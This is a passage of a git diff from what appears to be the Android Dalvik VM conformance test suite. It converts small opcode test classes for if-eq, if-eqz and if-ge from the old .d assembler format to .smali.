-
-.method public run(JI)I
-.limit regs 8
-
-       if-eq v5, v7, Label11
-       const/16 v5, 1234
-Label10:
-       return v5
-       
-Label11:
-       const/4 v5, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali
new file mode 100644
index 0000000..ccdf4cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_8.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-eq v5, v7, :Label11
+       const/16 v5, 1234
+:Label10
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.d
deleted file mode 100644
index b158878..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_9.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ILjava/lang/String;)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali
new file mode 100644
index 0000000..f9fa721
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_9.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ILjava/lang/String;)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.d
deleted file mode 100644
index c44b870..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_1.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-eqz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali
new file mode 100644
index 0000000..497b4b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_1.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.d
deleted file mode 100644
index 8c415d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eqz_10.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-eqz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali
new file mode 100644
index 0000000..4462f28
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_eqz_10.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.d
deleted file mode 100644
index af8ce95..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_eqz_11.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-eqz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali
new file mode 100644
index 0000000..22ebc02
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali
@@ -0,0 +1,23 @@
+.source "T_if_eqz_11.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.d
deleted file mode 100644
index 2b44068..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_2.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-eqz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali
new file mode 100644
index 0000000..2ef94d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_2.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.d
deleted file mode 100644
index 84e6924..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_3.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-eqz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali
new file mode 100644
index 0000000..53ab7e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_3.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.d
deleted file mode 100644
index 5d0c921..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_4.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 6
-
-       if-eqz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali
new file mode 100644
index 0000000..1dd00a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_4.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.d
deleted file mode 100644
index 3ddc469..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_5.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 6
-
-       if-eqz v6, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali
new file mode 100644
index 0000000..86fb7da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_5.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-eqz v6, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.d
deleted file mode 100644
index ff120fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_6.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       if-eqz v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali
new file mode 100644
index 0000000..add8e64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_6.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       if-eqz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.d
deleted file mode 100644
index 2d2ccb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_7.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-eqz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali
new file mode 100644
index 0000000..89aecb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_7.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-eqz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.d
deleted file mode 100644
index 4ff0e6d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_eqz_9.java
-.class public dot.junit.opcodes.if_eqz.d.T_if_eqz_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-eqz v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali
new file mode 100644
index 0000000..36a53f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_eqz_9.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.d
deleted file mode 100644
index 1279bbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_1.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali
new file mode 100644
index 0000000..50c81ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_1.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.d
deleted file mode 100644
index d02659a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_ge_10.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ge v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali
new file mode 100644
index 0000000..8514de0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_ge_10.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ge v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.d
deleted file mode 100644
index 667364d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_ge_11.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali
new file mode 100644
index 0000000..8c5452e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_ge_11.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.d
deleted file mode 100644
index af33b07..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_ge_2.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali
new file mode 100644
index 0000000..e0119b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_ge_2.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.d
deleted file mode 100644
index 876dcdc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_3.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali
new file mode 100644
index 0000000..97f2470
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_3.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.d
deleted file mode 100644
index 3593702..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_4.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ge v6, v8, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
